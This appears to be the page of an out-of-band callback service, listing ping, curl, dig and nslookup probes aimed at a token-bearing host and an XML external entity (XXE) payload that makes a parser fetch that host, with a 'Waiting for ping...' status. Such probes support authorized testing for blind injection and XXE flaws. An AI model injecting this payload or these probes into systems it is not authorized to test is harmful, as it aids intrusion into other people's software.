$ ping -c1 -p 00df5cf8e7387feedf5ec6d88fb4da00 pingb.in
 
$ curl pingb.in/p/df5cf8e7387feedf5ec6d88fb4da
 
$ dig df5cf8e7387feedf5ec6d88fb4da @pingb.in
 
$ dig df5cf8e7387feedf5ec6d88fb4da.ns.pingb.in
 
C:\> nslookup df5cf8e7387feedf5ec6d88fb4da pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/df5cf8e7387feedf5ec6d88fb4da">]>
    <foo>&xxe;</foo>
 
Waiting for ping...